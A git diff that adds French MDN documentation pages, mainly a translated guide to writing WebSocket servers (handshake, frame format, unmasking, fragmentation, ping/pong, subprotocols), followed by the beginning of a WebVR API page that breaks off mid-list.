+<p>Il est déconseillé d'utiliser les WebSockets dans un environnement mixte, c'est-à-dire qu'il ne faut pas établir de connexion Websocket non sécurisée depuis une page chargée en HTTPS, et inversement. Certains navigateurs l'interdisent explicitement, comme Firefox à partir de la version 8.</p>
diff --git a/files/fr/web/api/websockets_api/writing_websocket_servers/index.html b/files/fr/web/api/websockets_api/writing_websocket_servers/index.html
new file mode 100644
index 0000000000..d3797e4f46
--- /dev/null
+++ b/files/fr/web/api/websockets_api/writing_websocket_servers/index.html
@@ -0,0 +1,254 @@
+---
+title: Écriture de serveurs WebSocket
+slug: Web/API/WebSockets_API/Writing_WebSocket_servers
+translation_of: Web/API/WebSockets_API/Writing_WebSocket_servers
+---
+<p>Un serveur WebSocket est une application TCP qui écoute sur n'importe quel port d'un serveur et suit un protocole spécifique, c'est aussi simple que cela. La création de son propre serveur TCP est quelque chose qui a tendance à effrayer alors qu'il n'est pas forcément très complexe de créer un serveur WebScoket sur la plateforme de votre choix.</p>
+
+<p>Un serveur WebSocket peut être écrit dans n'importe quel language de programmation qui supporte les "<a href="https://fr.wikipedia.org/wiki/Berkeley_sockets">Berkeley sockets</a>", par exemple C(++), python ou même PHP et JavaScript (avec nodejs). Ceci n'est pas un tutoriel destiné à un language particulier mais un guide aidant à l'écriture de votre propre serveur.</p>
+
+<p>Avant de débuter, vous <strong>devez</strong> connaître précisément le fonctionnement du protocole HTTP et disposer d'une certaine expérience sur celui-ci. Des connaissances sur les sockets TCP dans votre langage de développement est également précieux. Ce guide ne présente ainsi que le <u><em>minimum</em></u><em> </em>des connaissances requises et non un guide ultime.</p>
+
+<div class="note">
+<p>Lire la dernière spécification officielle sur les WebSockets <a href="http://datatracker.ietf.org/doc/rfc6455/?include_text=1">RFC 6455</a>. Les sections 1 et 4-7 sont particulièrement intéressantes pour ce qui nous occupe. La section 10 évoque la sécurité et doit être connue et mise en oeuvre avant d'exposer votre serveur au-delà du réseau local / lors de la mise en production. </p>
+</div>
+
+<p>Un serveur WebSocket est compris ici en "bas niveau" (<em>c'est-à-dire plus proche du langage machine que du langage humain</em>. Les WebSockets sont souvent séparés et spécialisés vis-à-vis de leurs homologues serveurs (pour des questions de montées en charge ou d'autres raisons), donc vous devez souvent utiliser un <a href="https://fr.wikipedia.org/wiki/Proxy_inverse">proxy inverse</a> (<em>c'est-à-dire de l'extérieur vers l'intérieur du réseau local, comme pour un serveur HTTP classique</em>) pour détecter les "poignées de mains" spécifiques au WebSocket, qui précédent l'échange et permettent d'aiguiller les clients vers le bon logiciel. Dans ce cas, vous ne devez pas ajouter à votre serveur des <em>cookies</em> et d'autres méthodes d'authentification. </p>
+
+<h2 id="La_poignée_de_mains_du_WebSocket"><a id="PoignéeDeMain" name="PoignéeDeMain">La "poignée de mains" du WebSocket</a></h2>
+
+<p>En tout premier lieu, le serveur doit écouter les connexions sockets entrantes utilisant le protocole TCP standard. Suivant votre plateforme, celui-ci peut déjà le faire pour vous. Pour l'exemple qui suit, nous prenons pour acquis que votre serveur écoute le domaine <em>exemple.com</em> sur le port 8000 et votre serveur socket répond aux requêtes de type GET sur le chemin <em>/chat</em>. </p>
+
+<div class="warning">
+<p><strong>Attention:</strong> Si le serveur peut écouter n'importe quel port, mais que vous décidez de ne pas utiliser un port standard (80 ou 443 pour SSL), cela peut créer en avant des problèmes avec les parefeux et/ou les proxys. De plus, gardez en mémoire que certains navigateur Web (notablement Firefox 8+), n'autorisent pas les connexions WebSocket non-SSL sur une page SSL. </p>
+</div>
+
+<p>La <em>poignée de mains</em> est la partie "Web" dans les WebSockets : c'est le pont entre le protocole HTTP et le WebSocket. Durant cette poignée, les détails (les paramètres) de la connexion sont négociés et l'une des parties peut interromptre la transaction avant la fin si l'un des termes ne lui est pas autorisé / ne lui est pas possible. Le serveur doit donc être attentif à comprendre parfaitement les demandes et attentes du client, sans quoi des procédures de sécurité seront déclenchées. </p>
+
+<h3 id="La_requête_de_poignée_de_mains_côté_client">La requête de <em>poignée de mains</em> côté client </h3>
+
+<p>Même si vous construisez votre serveur au profit des WebSockets, votre client doit tout de même démarrer un processus dit de <em>poignée de main</em>. Vous devez donc savoir comment interprêter cette requête. En premier, le <strong>client </strong>enverra tout d'abord une requête HTTP correctement formée. La requête <strong>doit </strong>être à la version 1.1 ou supérieure et la méthode <strong>doit </strong>être de type GET : </p>
+
+<pre>GET /chat HTTP/1.1
+Host: exemple.com:8000
+<strong>Upgrade: websocket</strong>
+<strong>Connection: Upgrade</strong>
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+
+</pre>
+
+<p>Le client peut solliciter des extensions de protocoles ou des sous-protocoles à cet instant ; voir <a href="#Miscellaneous">Miscellaneous</a> pour les détails. En outre, des en-têtes communs tel que <em>User-Agent</em>, <em>Referer</em>, <em>Cookie</em> ou des en-têtes d'authentification peuvent être envoyés par la même requête : leur usage est laissé libre car ils ne se rapportent pas directement au WebSocket et au processus de poignée de main. A ce titre il semble préférable de les ignorer : d'ailleurs dans de nombreuses configurations communes, un proxy inverse les aura finalement déjà traitées. </p>
+
+<p>Si un des entêtes n'est pas compris ou sa valeur n'est pas correcte, le serveur devrait envoyer une réponse  "<a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes#400">400 Bad Request</a>" (<em>erreur 400 : la requête est incorrecte</em>) et clore immédiatement la connexion. Il peut par ailleurs indiquer la raison pour laquelle la poignée de mains a échoué dans le corps de réponse HTTP, mais le message peut ne jamais être affiché par le navigateur (<em>en somme, tout dépend du comportement du client</em>). Si le serveur ne comprend pas la version de WebSockets présentée, il doit envoyer dans la réponse un entête <em>Sec-WebSocket-Version</em> correspondant à la ou les version-s supportée-s. Ici le guide explique la version 13, la plus récente à l'heure de l'écriture du tutoriel (<em>voir le tutoriel en version anglaise pour la date exacte ; il s'agit là d'une traduction</em>). Maintenant, nous allons passer à l'entête attendu : <em>Sec-WebSocket-Key</em>.</p>
+
+<div class="note">
+<p><strong>Astuce:</strong>  Un grand nombre de navigateurs enverront un  <a href="https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Origin"><code>Entête d'origine</code></a>. Vous pouvez alors l'utiliser pour vérifier la sécurité de la transaction (par exemple vérifier la similitude des domaines, listes blanches ou noires, etc.) et éventuellement retourner une réponse <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes#403">403 Forbidden</a> si l'origine ne vous plaît pas. Toutefois garder à l'esprit que cet entête peut être simulé ou trompeur (il peut être ajouté manuellement ou lors du transfert). De nombreuses applications refusent les transactions sans celui-ci. </p>
+</div>
+
+<div class="note">
+<p><strong>Astuce:</strong> L'URI de la requête (<code>/chat </code>dans notre cas), n'a pas de signification particulièrement dans les spécifications en usage : elle permet simplement, par convention, de disposer d'une multitude d'applications en parallèle grâce à WebSocket. Par exemple <code>exemple.com/chat</code> peut être associée à une API/une application de dialogue multiutilisateurs lorsque <code>/game</code> invoquera son homologue pour un jeu. </p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> <a href="https://developer.mozilla.org/en-US/docs/HTTP/Response_codes">Les codes réguliers (<em>c-à-d défini par le protocole standard</em>) HTTP</a> ne peuvent être utilisés qu'<strong><em>avant</em></strong> la poignée : ceux après la poignée, sont définis d'une manière spécifique dans la section 7.4 de la documentation sus-nommée. </p>
+</div>
+
+<h3 id="La_réponse_du_serveur_lors_de_la_poignée_de_mains">La réponse du serveur lors de la poignée de mains </h3>
+
+<p>Lorsqu'il reçoit la requête du client, le serveur doit envoyer une réponse correctement formée dans un format non-standard HTTP et qui ressemble au code ci-dessous. Gardez à l'esprit que chaque entête se termine par un saut de ligne : <em>\r\n</em> ; un saut de ligne doublé lors de l'envoi du dernier entête pour séparer du reste du corps (même si celui-ci est vide). </p>
+
+<pre><strong>HTTP/1.1 101 Switching Protocols</strong>
+Upgrade: websocket
+Connection: Upgrade
+<strong>Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+
+</strong></pre>
+
+<p>En sus, le serveur peut décider de proposer des extensions de protocoles ou des sous-protocoles à cet instant ; voir <a href="#Miscellaneous">Miscellaneous</a> pour les détails. L'entête Sec-WebSocket-Accept nous intéresse ici : le serveur doit la former depuis l'entête Sec-WebSocket-Key envoyée précédemment par le client. Pour l'obtenir, vous devez concaténater (<em>rassembler</em>) la valeur de <em>Sec-WebSocket-Key</em> et "<em>258EAFA5-E914-47DA-95CA-C5AB0DC85B11</em>" (valeur fixée par défaut : c'est une "<a href="https://en.wikipedia.org/wiki/Magic_string" style="line-height: 1.5em;">magic string</a>") puis procéder au hash par la méthode <a href="https://en.wikipedia.org/wiki/SHA-1" style="line-height: 1.5em;">SHA-1</a> du résultat et retourner le format au format <a href="https://en.wikipedia.org/wiki/Base64" style="line-height: 1.5em;">base64</a>. </p>
+
+<div class="note">
+<p><strong>Pour information / pour mémoire :</strong> Ce processus qui peut paraître inutilement complexe, permet de certifier que le serveur et le client sont bien sur une base WebSocket et non une requête HTTP  (qui serait alors mal interprétée). </p>
+</div>
+
+<p>Ainsi si la clé (la valeur de l'entête du client) était "<code>dGhlIHNhbXBsZSBub25jZQ==</code>", le retour (<em><u>Accept</u> * dans la version d'origine du tutoriel</em>) sera : "<code>s3pPLMBiTxaQ9kYGzzhZRbK+xOo=</code>". Une fois que le serveur a envoyé les entêtes attendues, alors la poignée de mains est considérée comme effectuée et vous pouvez débuter l'échange de données ! </p>
+
+<div class="note">
+<p>Le serveur peut envoyer à ce moment, d'autres entêtes comme par exemple Set-Cookie, ou demander une authenficiation ou encore une redirection via les codes standards HTTP et ce <em><strong>avant </strong></em>la fin du processus de poignée de main. </p>
+</div>
+
+<h3 id="Suivre_les_clients_confirmés">Suivre les clients confirmés </h3>
+
+<p>Cela ne concerne pas directement le protocole WebSocket, mais mérite d'être mentionné maintenant : votre serveur pourra suivre le socket client : il ne faut donc pas tenter une poignée de mains supplémentaire avec un client déjà confirmé. Un même client avec la même IP pourrait alors se connecter à de multiples reprises, mais être finalement rejeté et dénié par le serveur si les tentatives sont trop nombreuses selon les règles pouvant être édictées pour éviter les attaques dites de <a href="https://en.wikipedia.org/wiki/Denial_of_service">déni de service</a>. </p>
+
+<h2 id="L'échange_de_trames_de_données">L'échange de trames de données </h2>
+
+<p>Le client ou le serveur peuvent choisir d'envoyer un message à n'importe quel moment à partir de la fin du processus de poignée de mains : c'est la magie des WebSockets (une connexion permanente). Cependant, l'extraction d'informations à partir des trames de données n'est pas une expérience si... magique. Bien que toutes les trames suivent un même format spécifique, les données allant du client vers le serveur sont masquées en utilisant le <a href="https://en.wikipedia.org/wiki/XOR_cipher">cryptage XOR</a> (avec une clé de 32 bits). L'article 5 de la spécification décrit en détail ce processus. </p>
+
+<h3 id="Format">Format</h3>
+
+<div class="warning">
+<p><strong>Note du traducteur</strong> : Dans cette partie, <code>payload </code>équivaut en bon français à <em>charge utile</em>. C'est-à-dire les données qui ne font pas partie du fonctionnement de la trame mais de l'échange entre le serveur et le client. Ainsi j'ai traduit <code>payload data comme des <em>données utiles. </em></code></p>
+</div>
+
+<p>Chaque trame (dans un sens ou dans un autre) suit le schéma suivant : </p>
+
+<pre style="float: left; margin-right: 20px;"> <strong>0</strong>               <strong>1</strong>               <strong>2</strong>               3
+ 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7 0 1 2 3 4 5 6 7
++-+-+-+-+-------+-+-------------+-------------------------------+
+|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
+|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
+|N|V|V|V|       |S|             |   (if payload len==126/127)   |
+| |1|2|3|       |K|             |                               |
++-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
+ 4               5               6               7
++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+|     Extended payload length continued, if payload len == 127  |
++ - - - - - - - - - - - - - - - +-------------------------------+
+ 8               9               <strong>10</strong>              11
++ - - - - - - - - - - - - - - - +-------------------------------+
+|                               |Masking-key, if MASK set to 1  |
++-------------------------------+-------------------------------+
+ 12              13              <strong>14</strong>              15
++-------------------------------+-------------------------------+
+| Masking-key (continued)       |          Payload Data         |
++-------------------------------- - - - - - - - - - - - - - - - +
+:                     Payload Data continued ...                :
++ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
+|                     Payload Data continued ...                |
++---------------------------------------------------------------+</pre>
+
+<p>RSV1-3 peuvent être ignorés, ils concernent les extensions. </p>
+
+<p>Le masquage de bits indique simplement si le message a été codé. Les messages du client doivent être masquée, de sorte que votre serveur doit attendre qu'il soit à 1. (<em>l'article 5.1 de la spécification prévoit que votre serveur doit se déconnecter d'un client si celui-ci envoie un message non masqué</em>). Lors de l'envoi d'une trame au client, ne masquez pas et ne réglez pas le bit de masque - cela sera expliqué plus tard.</p>
+
+<p>Note: Vous devez masquer les messages même lorsque vous utilisez un socket sécurisé.</p>
+
+<p>Le champ <code>opcode</code> définit comment est interpêtée la <em>charge utile</em> (<code>payload data</code>) : ainsi <code>0x0</code> indique la consigne "continuer", <code>0x1</code> indique du texte (qui est systématiquement encodé en UTF-8), <code>0x2</code> pour des données binaires, et d'autres "codes de contrôle" qui seront évoqués plus tard. Dans cette version des WebSockets, <code>0x3</code> à 0x7 et <code>0xB</code> à <code>0xF</code> n'ont pas de significations particulières. </p>
+
+<p>Le bit FIN indique si c'est le dernier message de la série [<em>NDT : pour la concaténation, pas la fin de la connexion elle-même</em>]. S'il est à 0, alors le serveur doit attendre encore une ou plusieurs parties. Sinon le message est considéré comme complet. </p>
+
+<h3 id="Connaître_la_taille_des_données_utiles">Connaître la taille des <em>données utiles </em></h3>
+
+<p>Pour (pouvoir) lire les <em>données utiles</em>, vous devez savoir quand arrêter la lecture dans le flux des trames entrantes vers le serveur. C'est pourquoi il est important de connaître la taille des <em>données utiles</em>. Et malheureusement ce n'est pas toujours simple. Voici quelques étapes essentielles à connaître : </p>
+
+<ol>
+ <li>(<em>étape 1</em>) Lire tout d'abord les bits 9 à 15 (inclu) et les interprêter comme un entier non-signé. S'il équivaut à 125 ou moins, alors il correspond à la taille totale de la charge utile.<br>
+  S'il vaut à 126, allez à l'étape 2 ou sinon, s'il vaut 127, allez à l'étape 3. </li>
+ <li>(<em>étape 2</em>) Lire les 16 bits supplémentaires et les interprêter comme précédent (entier non-signé). Vous avez alors la taille des données utiles. </li>
+ <li>(<em>étape 3</em>) Lire les 64 bits supplémentaires et les interprêter comme précédent (entier non-signé). Vous avez alors la taille des données utiles. Attention, le bit le plus significatif doit rester à 0.</li>
+</ol>
+
+<h3 id="Lire_et_démasquer_les_données">Lire et démasquer les données </h3>
+
+<p>Si le bit MASK a été fixé (et il devrait l'être, pour les messages client-serveur), vous devez lire les 4 prochains octets (32 bits) : ils sont la clé de masquage. Une fois la longueur de charge utile connue et la clé de masquage décodée, vous pouvez poursuivre la lecture des autres bits comme étant les données utiles masquées. Par convention pour le reste du paragraphe, appelons-les <em>données encodées</em>, et la clé <em>masque</em>. Pour décoder les données, bouclez les octets du texte reçu en XOR avec l'octet du (<em>i modulo 4</em>) ième octet du <em>masque</em>. En voici le pseudo-code (<em>JavaScript valide</em>) : </p>
+
+<pre>var DECODED = "";
+for (var i = 0; i &lt; ENCODED.length; i++) {
+    DECODED[i] = ENCODED[i] ^ MASK[i % 4];
+<span style="line-height: 1.5;">}</span></pre>
+
+<div class="note">
+<p>Ici la variable <code>DECODED</code> correspond aux données utiles à votre application - en fonction de l'utilisation ou non d'un sous-protocole (<em>si c'est <code>json</code>, vous devez encore décoder les données utiles reçues avec le parseur JSON</em>). </p>
+</div>
+
+<h3 id="La_fragmentation_des_messages">La fragmentation des messages </h3>
+
+<p>Les champs FIN et opcodes fonctionnent ensemble pour envoyer un message découpé en une multitude de trames. C'est ce que l'on appele la <em>fragmentation des messages</em>. La fragmentation est seulement possible avec les opcodes de <code>0x0 </code>à <code>0x2</code>. </p>
+
+<p>Souvenez-vous de l'intérêt de l'opcode et ce qu'il implique dans l'échange des trames. Pour <em>0x1 </em>c'est du texte, pour <em>0x2 </em>des données binaires, etc. Toutefois pour <em>0x0</em>, la frame est dite "continue" (elle s'ajoute à la précédente). En voici un exemple plus clair, où il y a en réalité deux textes de message (sur 4 trames différentes) : </p>
+
+<pre style="font-size: 14px;"><strong>Client:</strong> FIN=1, opcode=0x1, msg="hello"
+<strong>Server:</strong> <em>(process complete message immediately) </em>Hi.
+<strong>Client:</strong> FIN=0, opcode=0x1, msg="and a"
+<strong>Server:</strong> <em>(listening, new message containing text started)</em>
+<strong>Client:</strong> FIN=0, opcode=0x0, msg="happy new"
+<strong>Server:</strong> <em>(listening, payload concatenated to previous message)</em>
+<strong>Client:</strong> FIN=1, opcode=0x0, msg="year!"
+<strong>Server:</strong> <em>(process complete message) </em>Happy new year to you too!</pre>
+
+<p>La première trame dispose d'un message en entier (FIN = 1 et optcode est différent de 0x0) : le serveur peut traiter la requête reçue et y répondre. A partir de la seconde trame et pour les deux suivantes (soit trois trames), l'opcode à 0x1 puis 0x0 signifie qu'il s'agit d'un texte suivi du reste du contenu (0x1 = texte ; 0x0 = la suite). La 3e trame à FIN = 1 indique la fin de la requête. <br>
+ Voir la <a href="http://tools.ietf.org/html/rfc6455#section-5.4">section 5.4</a> de la spécification pour les détails de cette partie. </p>
+
+<h2 id="Pings-Pongs_le_coeur_des_WebSockets">Pings-Pongs : le "coeur" des WebSockets</h2>
+
+<p>A n'importe quel moment après le processus de poignée de mains, le client ou le serveur peut choisir d'envoyer un <em>ping </em>à l'autre partie. Lorsqu'il est reçu, l'autre partie doit renvoyer dès possible un <em>pong</em>. Cette pratique permet de vérifier et de maintenir la connexion avec le client par exemple. </p>
+
+<p>Le <em>ping </em>ou le <em>pong </em>sont des trames classiques dites <strong>de contrôle</strong>. Les <em>pings </em>disposent d'un opcode à <code>0x9</code> et les <em>pongs </em>à <code>0xA</code>. Lorsqu'un <em>ping </em>est envoyé, le <em>pong </em>doit disposer de la même donnée utile en réponse que le ping (et d'une taille maximum autorisé de 125). Le <em>pong </em>seul (c-à-d sans <em>ping</em>) est ignoré. </p>
+
+<div class="note">
+<p>Lorsque plusieurs pings sont envoyés à la suite, un <strong>seul </strong>pong suffit en réponse (<em>le plus récent pour la donnée utile renvoyée</em>). </p>
+</div>
+
+<h2 id="Clore_la_connexion">Clore la connexion </h2>
+
+<p>La connexion peut être close à l'initiative du client ou du serveur grâce à l'envoi d'une trame de contrôle contenant des données spécifiques permettant d'interrompre la poignée de main (de lever définitivement le masque pour être plus précis ; voir la <a href="http://tools.ietf.org/html/rfc6455#section-5.5.1">section 5.5.1</a>). Dès la réception de la trame, le récepteur envoit une trame spécifique de fermeture en retour (pour signifier la bonne compréhension de la fin de connexion). C'est l'émetteur à l'origine de la fermeture qui doit clore la connexion ; toutes les données supplémentaires sont éliminés / ignorés. </p>
+
+<h2 id="Diverses_informations_utiles"><a id="Miscellaneous" name="Miscellaneous">Diverses informations utiles</a></h2>
+
+<div class="note">
+<p>L'ensemble des codes, extensions et sous-protocoles liés aux WebSocket sont enregistrés dans le (registre) <a href="http://www.iana.org/assignments/websocket/websocket.xml">IANA WebSocket Protocol Registry</a>.</p>
+</div>
+
+<p>Les extensions et sous-protocoles des WebSockets sont négociés durant <a href="#PoignéeDeMain">l'échange des entêtes de la poignée de mains</a>. Si l'on pourrait croire qu'extensions et sous-protocles sont finalement la même chose, il n'en est rien : <strong>le contrôle des extensions agit sur les trames</strong> ce qui modifie la charge utile ; <strong>alors que les sous-protocoles modifient uniquement la charge utile,</strong> et rien d'autre. Les extensions sont optionnelles et généralisées (par exemple pour la compression des données) ; les sous-protocoles sont souvent obligatoires et ciblés (par exemple dans le cadre d'une application de chat ou d'un jeu MMORPG). </p>
+
+<div class="warning">
+<p><strong>NDT : </strong>Les sous-extensions ou les sous-protocoles ne sont pas obligatoires pour l'échange de données par WebSockets ; mais l'esprit développé ici est de rendre soit plus efficace ou sécurisée la transmission (l'esprit d'une extension) ; soit de délimiter et de normaliser le contenu de l'échange (l'esprit d'un sous-protocole ; qui étend donc le protocole par défaut des WebSockets qu'est l'échange de texte simple au format UTF-8). </p>
+</div>
+
+<h3 id="Les_extensions">Les extensions</h3>
+
+<div class="note">
+<p><strong>Cette section mériterait d'être étendue et complétée. Merci de le faire si vous disposez des moyens pour le faire. </strong></p>
+</div>
+
+<p>L'idée des extensions pourrait être, par exemple, la compression d'un fichier avant de l'envoyer par courriel / email à quelqu'un : les données transférées ne changent pas de contenu, mais leur format oui (et leur taille aussi...). Ce n'est donc pas le format du contenu qui change que le mode transmission - c'est le principe des extensions en WebSockets, dont le principe de base est d'être un protocole simple d'échange de données. </p>
+
+<div class="note">
+<p>Les extensions sont présentées et expliquées dans les sections 5.8, 9, 11.3.2, and 11.4 de la documentation sus-nommées. </p>
+</div>
+
+<h3 id="Les_sous-protocoles">Les sous-protocoles </h3>
+
+<p>Les sous-protocoles sont à comparer à <a href="https://en.wikipedia.org/wiki/XML_schema">un schéma XML</a> ou <a href="https://en.wikipedia.org/wiki/Document_Type_Definition">une déclaration de DocType</a>. Ainsi vous pouvez utiliser seulement du XML et sa syntaxe et, imposer par le biais des sous-protocoles, son utilisation durant l'échange WebSocket. C'est l'intérêt de ces sous-protocoles : établir une structure définie (<em>et intangible : le client se voit imposer la mise en oeuvre par le serveur</em>), bien que les deux doivent l'accepter pour communiquer ensemble. </p>
+
+<div class="note">
+<p>Les sous-protocoles sont expliqués dans les sections 1.9, 4.2, 11.3.4, and 11.5 de la documentation sus-nommés. </p>
+</div>
+
+<p>Exemple : un client souhaite demander un sous-protocole spécifique. Pour se faire, il envoie dans les entêtes d'origine du processus de poignées de mains : </p>
+
+<pre>GET /chat HTTP/1.1
+...
+Sec-WebSocket-Protocol: soap, wamp
+</pre>
+
+<p>Ou son équivalent : </p>
+
+<pre>...
+Sec-WebSocket-Protocol: soap
+Sec-WebSocket-Protocol: wamp
+</pre>
+
+<p>Le serveur doit désormais choisir l'un des protocoles suggérés par le client et qu'il peut prendre en charge. S'il peut en prendre plus d'un, le premier envoyé par le client sera privilégié. Dans notre exemple, le client envoit <code>soap </code>et <code>wamp</code>, le serveur qui supporte les deux enverra donc : </p>
+
+<pre>Sec-WebSocket-Protocol: soap
+</pre>
+
+<div class="warning">
+<p>Le serveur ne peut (ne doit) envoyer plus d'un entête <code>Sec-Websocket-Protocol</code>. <strong>S'il n'en supporte aucun, il ne doit pas renvoyer l'entête <code>Sec-WebSocket-Protocol</code> (l'entête vide n'est pas correct). </strong>Le client peut alors interrompre la connexion s'il n'a pas le sous-protocole qu'il souhaite (ou qu'il supporte). </p>
+</div>
+
+<p>Si vous souhaitez que votre serveur puisse supporter certains sous-protocoles, vous pourriez avoir besoin d'une application ou de scripts supplémentaires sur le serveur. Imaginons par exemple que vous utilisiez le sous-protocole json - où toutes les données échangées par WebSockets sont donc formatés suivant le format <a href="https://fr.wikipedia.org/wiki/JavaScript_Object_Notation">JSON</a>. Si le client sollicite ce sous-protocole et que le serveur souhaite l'accepter, vous <u><strong>devez disposer</strong></u> d'un parseur (d'un décodeur) JSON et décoder les données par celui-ci. </p>
+
+<div class="note">
+<p><strong>Astuce:</strong> Pour éviter des conflits d'espaces de noms, il est recommandé d'utiliser le sous-protocole comme un sous-domaine de celui utilisé. Par exemple si vous utilisez un sous-protocole propriétaire qui utilise un format d'échange de données non-standard pour une application de <em>chat </em>sur le domaine <em>exemple.com</em>, vous devrirez utiliser : <code>Sec-WebSocket-Protocol: chat.exemple.com</code>. S'il y a différentes versions possibles, modifiez le chemin pour faire correspondre le path à votre version comme ceci : <code>chat.exemple.com/2.0</code>. Notez que ce n'est pas obligatoire, c'est une convention d'écriture optionnel et qui peut être utilisée d'une toute autre façon. </p>
+</div>
+
+<h2 id="Contenus_associés">Contenus associés</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_server" title="/en-US/docs/WebSockets/Writing_WebSocket_server">Tutorial: Websocket server in C#</a></li>
+ <li><a href="/en-US/docs/WebSockets/Writing_WebSocket_client_applications">Writing WebSocket client applications</a></li>
+ <li><a href="/en-US/docs/WebSockets/WebSocket_Server_Vb.NET">Tutorial: Websocket server in VB.NET</a></li>
+</ul>
diff --git a/files/fr/web/api/webvr_api/index.html b/files/fr/web/api/webvr_api/index.html
new file mode 100644
index 0000000000..a23eac2f67
--- /dev/null
+++ b/files/fr/web/api/webvr_api/index.html
@@ -0,0 +1,148 @@
+---
+title: WebVR API
+slug: Web/API/WebVR_API
+translation_of: Web/API/WebVR_API
+---
+<div>{{draft("Attention, la traduction de cette page n'est pas terminée. De plus, la documentation de l'API WebVR est en cours de mise à jour pour couvrir la version v1.0, par conséquent certaines des ses informations vont être obsolètes. Contactez ~~chrisdavidmills si vous avez des questions à propos de cette documentation.")}}{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p class="summary">WebVR fournit un support pour les dispositifs de réalité virtuelle - par exemple pour les casques de réalité virtuelle comme l'Oculus Rift - aux applications Web, permettant aux développeurs de traduire les informations de position et de mouvement de l'appareil en mouvements autour d'une scène 3D. Cela a de nombreuses applications très intéressantes, des visites de produits virtuels aux applications de formation interactive en passant par des jeux en première personne dans un environnement immersif.</p>
+
+<h2 id="Concepts_et_usage">Concepts et usage</h2>
+
+<p><img alt='Sketch of a person in a chair with wearing goggles labelled "Head mounted display (HMD)" facing a monitor with a webcam labelled "Position sensor"' src="https://mdn.mozillademos.org/files/11035/hw-setup.png" style="display: block; height: 78px; margin: 0px auto; width: 60%;"></p>
+
+<p>Tous les périphériques de réalité virtuelle connectés à votre ordinateur seront donné grâce à la méthode {{domxref("Navigator.getVRDisplays()")}}. Cela retournera un tableau d'objets représentant les périphériques, qui auront l'héritage de l'objet {{domxref("VRDevice")}} — généralement un casque de réalité virtuelle renverra deux périphériques — le casque lui-même, représenté par {{domxref("HMDVRDevice")}}, et la caméra capteur de position qui suit la position de votre tête, représenté par {{domxref("PositionSensorVRDevice")}}.</p>
+
+<p>L'objet {{domxref("PositionSensorVRDevice")}} contient la méthode {{domxref("PositionSensorVRDevice.getState","getState()")}}, qui retourne un objet {{domxref("VRPositionState")}} — cela représente l'état du capteur à un timecode donné, et inclus les propriétés avec des données utiles tel que la vélocité, l'accélération et l'orientation, utiles pour mettre à jour le rendu de la scène pour chaque image en accord avec le mouvement du casque de réalité virtuelle.</p>
+
+<p>La méthode {{domxref("HMDVRDevice.getEyeParameters()")}} retourne un objet {{domxref("VREyeParameters")}}, qui peut être utilisé pour obtenir l'information du champ de vision — combien le casque de réalité virtuel peut afficher de la scène. Le {{domxref("VREyeParameters.currentFieldOfView")}} retourne un objet {{domxref("VRFieldOfView")}} qui contient quatre angles décrivant le champ de vision actuel depuis le point central. Vous pouvez aussi changer le champ de vision en utilisant {{domxref("HMDVRDevice.setFieldOfView()")}}.</p>
+
+<h2 id="Interfaces_WebVR">Interfaces WebVR</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay")}}</dt>
+ <dd>Représente un périphérique de réalité virtuelle supporté par cette API. Il inclut des informations générales comme les IDs et des descriptions de l'appareil, ainsi que des méthodes pour commencer à présenter une scène RV, récupérer les paramètres visuels, les capacités d'affichage et d'autres fonctionnalités importantes.</dd>
+ <dt>{{domxref("VRDisplayCapabilities")}}</dt>
+ <dd>Décrit les capacités d'un appareil {{domxref("VRDisplay")}} — ses fonctionalités peuvent être utilisée pour tester les capacités du périphérique, par exemple peut-il retourner l'information de position.</dd>
+ <dt>{{domxref("VRPose")}}</dt>
+ <dd>Représente l'état de la position à un timecode donné (qui inclut l'orientation, la position, la vélocité et l'accélération).</dd>
+ <dt>{{domxref("VREyeParameters")}}</dt>
+ <dd>Donne accès à l'ensemble des informations requises pour faire le rendu d'une scène pour l'oeil indiqué, dont les informations de champ de vision.</dd>
+ <dt>{{domxref("VRFieldOfView")}}</dt>
+ <dd>Représente le champ de vision actuel définit par quatre angles décrivant la vue depuis le point central.</dd>
+ <dt>{{domxref("VRLayer")}}</dt>
+ <dd>Représente un calque d'un objet {{domxref("VRDisplay")}}.</dd>
+ <dt>{{domxref("VRStageParameters")}}</dt>
+ <dd>Représente les données décrivant l'espace physique disponible pour les périphériques de réalité virtuelle pouvant offrir une expérience dans une pièce réelle.</dd>
+</dl>
+
+<h3 id="Extensions_à_d'autres_interfaces">Extensions à d'autres interfaces</h3>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Retourne l'ID {{domxref("VRDisplay.displayId")}} du périphérique {{domxref("VRDisplay")}} associé — l'appareil RV où la manette de jeu contrôle la scene affichée.</dfn></dd>
+ <dt>{{domxref("Navigator.activeVRDisplays")}} {{readonlyInline}}</dt>
+ <dd>Retourne un tableau contenant tous les périphériques (objet {{domxref("VRDisplay")}}) qui sont actifs (quand {{domxref("VRDisplay.ispresenting")}} est à <code>true</code>).</dd>
+ <dt>{{domxref("Navigator.getVRDisplays()")}}</dt>
+ <dd>Retourne un tableau contenant tous les périphériques (objet {{domxref("VRDisplay")}}) disponibles qui sont connectés à l'ordinateur.</dd>
+ <dt>{{domxref("Window.onvrdisplayconnected")}}</dt>
+ <dd>Représente un gestionaire d'événements qui s'exécute lorsqu'un appareil RV compatible a été connecté à l'ordinateur (quand l'événement {{event("vrdisplayconnected")}} est déclenché).</dd>
+ <dt>{{domxref("Window.onvrdisplaydisconnected")}}</dt>
+ <dd>Représente un gestionaire d'événements qui s'exécute lorsqu'un appareil RV compatible a été déconnecté de l'ordinateur  (quand l'événement {{event("vrdisplaydisconnected")}} est déclenché).</dd>
